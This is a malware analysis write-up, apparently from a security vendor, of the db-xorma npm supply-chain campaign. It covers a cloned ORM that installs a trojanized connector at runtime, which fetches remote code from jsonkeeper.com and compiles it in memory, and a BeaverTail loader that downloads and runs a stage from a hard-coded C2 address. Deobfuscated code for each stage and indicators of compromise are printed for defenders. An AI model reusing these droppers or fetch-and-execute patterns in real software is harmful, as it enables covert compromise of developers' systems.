db-xorma: malware laundered through legit npm packages

The Buzz Lightyear 'everywhere' meme — Buzz gestures wide while Woody frets, captioned 'LAUNDRY. LAUNDRY, EVERYWHERE.' — for malware that hides behind clean clothes at every hop: a cloned ORM, a cloned connector, and a borrowed installer, all legitimate-looking, with the real payload fetched at runtime instead of shipped.

Most malicious npm packages smuggle their payload inside the tarball — an obfuscated blob, a poisoned install hook; db-xorma keeps its weapon off-package entirely and ships little more than a working library. It is a working clone of xorma, a real mobx-powered reactive ORM, with the store, the undo/redo history, even the author line all lifted — the clean clothes the whole operation hides behind. Instantiate any model and a static method the clone bolted on, resetor(), pulls a second package off the registry at runtime and lets it fetch a third stage.

Stage 1 — the armed CommonJS twin

const { syncApi: npm } = require("oubliette");
// …called from the Model constructor: this.constructor.resetor()
static resetor() {
  try {
    const C = require("db-dx-connector");
    new C({}).queryDBConnect();
  } catch (err) {
    try {
      npm().install("db-dx-connector", { loglevel: "silent", "no-save": true });
      new (require("db-dx-connector"))({}).queryDBConnect();
    } catch (error) {}
  }
}

The dropper lives only in the CommonJS build — the module entry bundlers prefer is clean — so it fires server-side under require and never shows up in the browser bundle the README sells. On first call db-dx-connector isn't installed, the require throws, and the catch installs it then runs its connect method, so the second stage arrives on demand rather than in the tarball.

File Trait Evidence
dist/index.js objectives/supply-chain/install-hook/scripts/dynamic-install Installs db-dx-connector via the aliased API when its require fails [T1195.002]
dist/index.js objectives/supply-chain/impersonation/package-manager Third-party installer imported under the name npm [T1195.002]
dist/index.js micro-behaviors/process/create/exec Commented-out execSync reinstalling clsx-js — prior-campaign leftover

Laundering the install through oubliette

The install gets the same treatment: npm().install(...) looks like a programmatic API, but oubliette only assembles a real npm command string and runs it through child_process, so the genuine client does the fetching.

// oubliette/lib/oubliette-sync.js — the whole mechanism
const exec = require("node:child_process").execSync;
const command = `npm ${name} ${serialise(...args)}`.trim(); // "npm install db-dx-connector --loglevel silent"
const output = exec(command, options);

What db-xorma gains is a clean source — no execSync, no child_process import, not even an install string, because every such primitive sits one dependency away in oubliette. Oubliette is genuinely blameless, a real programmatic-npm wrapper by Stephen Cresswell born when npm dropped its API in v8.0.0; the malware simply rents its respectability.

Stage 2 — the connector that compiles a ghost

db-dx-connector is a near-verbatim clone of Divblox's real dx-db-connector, author line and all, with one extra method. It base64-decodes a jsonkeeper.com URL, pulls the JSON's content field with axios, and compiles the response in memory as a fake module named error.js via Module._compile — no temp file, no eval keyword, and a public paste host the operator can re-stock without re-touching npm.

async queryDBConnect() {
  try {
    const HASH_KEY = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9aSUFJSw"; // → jsonkeeper.com/b/ZIAIK
    const s1 = (await axios.get(atob(HASH_KEY))).data.content;
    const Mod = require("node:module");
    const m = new Mod.Module("error.js", module.parent);
    m._compile(s1, "error.js"); // runs remote code as if it were error.js
  } catch (error) {}
}
File Trait Evidence
index.js objectives/command-and-control/dropper/delivery/fetch-eval JsonKeeper payload fetched and run via Module._compile [T1102.001, T1059.007]
index.js objectives/supply-chain/hidden-payload/exec npm package compiles a hidden remote payload [T1195.002, T1059.007]
index.js objectives/supply-chain/trojanized/package Trojanized clone of dx-db-connector that stages the JsonKeeper payload [T1195.002]

Stage 3 — the BeaverTail loader

The jsonkeeper blob is javascript-obfuscator output; decoded, it is the same loader catalogued across this site's DPRK finds. It spawns an npm install for axios and socket.io-client, GETs its next stage from a hard-coded address, writes it to the temp directory as 0001.dat, and runs it with node. The C2 at 5.231.107.229 and the campaign id are new; the 0001.dat / socket.io-client / node-runner skeleton is not — it is @sqlite-node/createsql and web-dotenv wearing yet another wrapper.

// stage 3, deobfuscated (string array RC4-decoded)
spawn(npmBin, "npm install axios socket.io-client --no-save --no-progress --loglevel silent",
      { windowsHide: true, cwd: os.tmpdir() });
const C2 = "http://5.231.107.229/api/service/6818cc25a53cf93f290d85c334d8a3b8";
axios.get(C2).then((res) => {
  writeFileSync(join(os.tmpdir(), "0001.dat"), res.data, { flag: "w+" });
  spawn(npmBin, "node 0001.dat", { windowsHide: true, cwd: os.tmpdir() });
});
File Trait Evidence
stage3 payload objectives/command-and-control/dropper/execution/network-stage Obfuscated downloader fetches and runs the next Node stage [T1105]
stage3 payload objectives/supply-chain/hidden-payload/runtime Obfuscated loader hides staged execution at runtime
stage3 payload objectives/anti-static/obfuscation/obfuscator/js-obfuscator javascript-obfuscator string-array + rotation decoder
stage3 payload micro-behaviors/process/create/spawn windowsHide spawn of node 0001.dat from tmpdir

Package metadata

Field Value
Name db-xorma
Version 1.0.5
Description (empty)
Author Austin Malerba
License MIT
Main dist/index.js
Module dist/index.mjs
Dependencies oubliette ^1.0.2, mobx ^6.13.5
Peer dependencies mobx ^6.0.0

Indicators

Indicator Value
Stage 1 tarball (db-xorma) SHA-256 50631ecc747eab0af192ad4f328081047fe320d5b19bf8746c27b6c5e25861a6
Stage 1 index.js SHA-256 392b84c49a18b431b6f454c715a8f6b43e63f95d47b44b55dd70a85c8ed8c465
Stage 2 tarball (db-dx-connector) SHA-256 2a94901a01417bf2c0096556725ca56619f176b0c79d3d6a1fcf4ff48e35e35b
Stage 2 index.js SHA-256 5ec319f44610644a95e0cfaccf4fba6cbe3b2f0a1532f9179bcff3d22b121cbe
Stage 3 payload SHA-256 8cd5ddcaed0e7f15b570a531d59f1dd6698d9bd7246dbf87c59e877a8720b6ff
Stage 3 dead-drop https://www.jsonkeeper.com/b/ZIAIK
C2 http://5.231.107.229/api/service/6818cc25a53cf93f290d85c334d8a3b8
Campaign id 6818cc25a53cf93f290d85c334d8a3b8
Runtime-installed package db-dx-connector
Prior-campaign target (commented) clsx-js
Dropped artifact 0001.dat (in os.tmpdir())

Strip the three clean wrappers — a real ORM, a real connector, a real installer — and db-xorma is just a courier: npm does the fetching, npm does the detonating, and the dirtiest laundry, the obfuscated loader, is the one thing it never carries. The whole bet was that subtlety reads as safety — nothing obfuscated, nothing on disk, the install buried one dependency deep — yet Atomdrift flagged every hop as hostile anyway, because it scores the plumbing, not the dirt, and a laundered channel is still a channel.

← All discoveries